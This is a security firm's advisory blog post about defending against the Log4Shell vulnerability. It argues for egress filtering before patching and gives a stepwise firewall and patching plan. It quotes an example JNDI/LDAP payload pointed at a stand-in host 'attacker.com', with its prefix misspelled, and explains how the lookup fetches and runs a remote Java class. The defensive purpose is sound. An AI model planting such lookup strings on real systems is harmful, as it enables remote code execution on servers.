Log4J and the power of egress filtering

For many years, security professionals have warned that the default setting on many firewalls to allow all outgoing traffic to the internet is wrong. A firewall is not a firewall if it has allow any any rules — on any interface. Do not simply allow anything to go out onto the internet.

Many exploits and break-ins include a step where the attack needs to connect back to the internet. If that fails, the attack will not work. This is also a necessary step to achieve remote code execution through Log4J.

The attack works by making Log4J log a string that contains ${jdni:ldap://[attacker.com:1234]/a}, or similar. Many obfuscations have already been circulated, making detection of the attack difficult if not impossible.

Log4J, instead of safely logging this untrusted string as-is, performs an LDAP request to (in this example) port 1234 on attacker.com. If the attacker sets up LDAP just right on that host, (s)he can redirect to a Java class file that is then downloaded and executed on the victim server.

For this attack to work, it is essential that the victim server can make LDAP and HTTP(S) requests to untrusted addresses on the internet. If the firewall blocks that, as it should, the attack cannot be performed.

Many well-meaning recommendations on the internet focus on patching/​updating Log4J, and detection/​blocking of incoming traffic. Both are complex and it’s difficult to know whether you’ve done enough.

So we recommend looking at egress filtering (limiting outgoing traffic) first, before starting the difficult process of patching a Java library bundled with many, many applications in sometimes non-obvious ways.

Summary — what to do

In summary, our official recommendation to defend against Log4Shell is:

1. Block all connections to the internet initiated by (Java) application servers.
2. If that’s not possible, block all LDAP connections to the internet from these servers, using a modern firewall that blocks by protocol rather than port number; simply blocking port 389 (the default port for LDAP) is insufficient. Do the same for RMI.
3. If it’s not feasible to block all LDAP and RMI connections on all ports, limit them to a set of trusted IP addresses.
4. If you don’t have a modern, traffic-inspecting firewall, and also can’t limit outgoing traffic to trusted IP addresses, set up proxy servers for HTTP(S), local DNS resolvers, and other intermediate services for all traffic that you need to the internet.
5. Then, start patching Log4J and all Java applications you can find in your network, using one of the useful guides out there, such as this one from our friends at Northwave.
6. Blocking ${jdni: in incoming traffic is also a good idea, but be aware that bypasses exist.

If you need any help at all doing this, you know where to find us: +31 – 71-204‑0101 / info@​hackdefense.​com.

Note: there is a small residual risk from the vulnerability — if an attacker is blocked from making LDAP and RMI requests (s)he can use DNS to read environment variables. Some of these can contain sensitive data, particularly on Amazon and Azure. So, we still recommend firewalling the application server first to reduce the risk, and after that, to apply the patch.

Note #2: the first patch for Log4J, 2.15, was not sufficient to stop the vulnerability. You need to upgrade to 2.16. Our recommendation to block LDAP and RMI to the internet first still applies.